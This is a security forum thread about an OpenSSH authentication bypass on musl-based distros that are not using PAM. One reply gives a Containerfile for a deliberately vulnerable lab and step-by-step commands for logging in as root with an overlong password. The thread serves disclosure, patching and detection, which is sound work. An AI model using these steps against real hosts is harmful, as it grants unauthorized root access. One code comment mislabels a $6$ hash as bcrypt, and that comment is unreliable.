CVE-2026-123158: "*SSHole," SSH Auth Bypass in musl-Based Linux Distros

Last Updated: 2026-11-06T23:52:38Z

Note: This story has been modified from the original post. The original is preserved below.

CVSSv4: 8.1

What’s Happening

On 2026-11-05T08:00:00Z, researcher Ozgun Kultekin with Wakefield disclosed “*SSHole”, an auth bypass of OpenSSH affecting Linux distributions using musl builds of OpenSSH prior to 10.6p2.

The writeup explains that in certain configurations, SSH will allow large passwords (> 256, ≤ 1027 characters) to access root via SSH, regardless of that password’s validity.

NVD published CVE-2026-123158 on the same day.

Affected Distros/Versions

  • Alpine Linux: 3.16 - 3.24
  • OpenWRT: Current
  • Buildroot: Current
  • Yocto: Current

Other than Alpine, those are best-effort guesses based on issues/releases.

Required Conditions

The following conditions are required for exploitations:

  1. Vulnerable musl build of OpenSSH
  2. A user in /etc/shadow with a password entry of *
  3. Another user with a real (and salted) password
  4. Allowed login of the * user
  5. Allowed password authentication
  6. Not using PAM for authentication

Some of this is default in Alpine Linux, but not all. Notably, most containers based on Alpine won’t have both root and another user, and likely won’t have passwords set this way.

Steps to reproduce the vulnerability are detailed below.

Actions

Update all discovered instances of impacted distributions. runZero has added this vulnerability to their SSHamble scanner. Consider using that for discovery.

Notes

Others have reproduced the issue on Yocto.

Step Security has a detailed writeup of exploitation conditions and testing steps.


Original Post

No CVE, but a “cute” name.

“*sshole” allows login to any account if you use a password that is more than 256 characters, but only if the following are true:

  • It runs the openssh-server package, which is built without PAM, or runs openssh-server-pamwith UsePAM no.
  • PasswordAuthentication is yes, which is the OpenSSH default.
  • An account has * as its password field, which means no password is set.
  • At least one other local account has a password hash starting with $5$ or $6$. use musl and not PAM, and OpenSSH, and use passwords

This probably mostly affects containers, and Alpine linux. Ideally most containers won’t be running OpenSSH.

A patch is available, OpenSSH 10.6p2

https://sshhole.com/

3 Likes

Alpine has the security advisory:

They have backported the patch through 3.16.

Running containers with the stated config will be vulnerable until rebuilt. It is uncommon, but not unheard of, to run SSH in containers like this.

Interestingly, the less-common thing to do is add a separate real user besides root, which in fact saves you from exploitation.

OpenSSH release notes have further details:

1 Like

It’s a fun combination of old issues. As a security person I shouldn’t laugh at vulnerabilities, but this one hit my funny bone. :smiley:

2 Likes

I’ve been able to independently confirm this vulnerability. If you want to play, here’s what you need in a Containerfile:

ARG ALPINE_VERSION=3.24

FROM docker.io/library/alpine:${ALPINE_VERSION} AS build

# First we build the vulnerable OpenSSH
ARG OPENSSH_VERSION=10.6p1
RUN apk add --no-cache build-base openssl-dev zlib-dev linux-headers curl
WORKDIR /src
RUN curl -fsSLO https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-${OPENSSH_VERSION}.tar.gz \
 && tar xzf openssh-${OPENSSH_VERSION}.tar.gz
WORKDIR /src/openssh-${OPENSSH_VERSION}
RUN ./configure --prefix=/usr --sysconfdir=/etc/ssh --without-pam \
      --with-privsep-path=/var/empty \
 && make -j"$(nproc)" \
 && make install-nokeys DESTDIR=/out

# Then we create a container with the *sshole preconditions
FROM docker.io/library/alpine:${ALPINE_VERSION}
RUN apk add --no-cache libcrypto3 zlib shadow
COPY --from=build /out/ /
RUN (getent group sshd || addgroup -S sshd) \
 && (getent passwd sshd || adduser -S -D -H -h /var/empty -s /sbin/nologin -G sshd sshd) \
 && mkdir -p /var/empty && chmod 755 /var/empty \
 && ssh-keygen -A

# Including a user with a $6$ (bcrypt) password hash
RUN adduser -D alice && echo 'alice:CorrectHorseBatteryStaple1!' | chpasswd -c SHA512
# password auth on, root login allowed. No PAM (not compiled in).
RUN mkdir -p /etc/ssh/sshd_config.d \
 && printf 'PermitRootLogin yes\nPasswordAuthentication yes\nKbdInteractiveAuthentication no\nLogLevel VERBOSE\n' > /etc/ssh/sshd_config.d/00-lab.conf \
 && printf 'PermitRootLogin yes\nPasswordAuthentication yes\n' >> /etc/ssh/sshd_config \
 && (grep -q '^Include /etc/ssh/sshd_config.d' /etc/ssh/sshd_config \
     || sed -i '1i Include /etc/ssh/sshd_config.d/*.conf' /etc/ssh/sshd_config)

# Test to make sure that worked before building
RUN /usr/sbin/sshd -T | grep -qi '^permitrootlogin yes' \
 && /usr/sbin/sshd -T | grep -qi '^passwordauthentication yes'
EXPOSE 22
CMD ["/usr/sbin/sshd", "-D", "-e"]

Build it:

podman container build -t sshole:latest .

Run it on a nonstandard SSH port:

podman container run -d -i -t -p 8222:22 sshole:latest

Get yourself a big ol’ password:

python3 -c "print('A' * 300)"

Copy that to your clipboard, then log in to your container as root:

ssh -p 8222 root@localhost

In my testing, it takes two login attempts to trigger—apparently because the salt cache needs to be hot¸ per Varx.

2 Likes

Paul Asadoorian implemented a vulnerability check for this in SSHamble: Add vuln-sshhole check for OpenSSH on musl without PAM by pasadoorian · Pull Request #53 · runZeroInc/sshamble · GitHub

2 Likes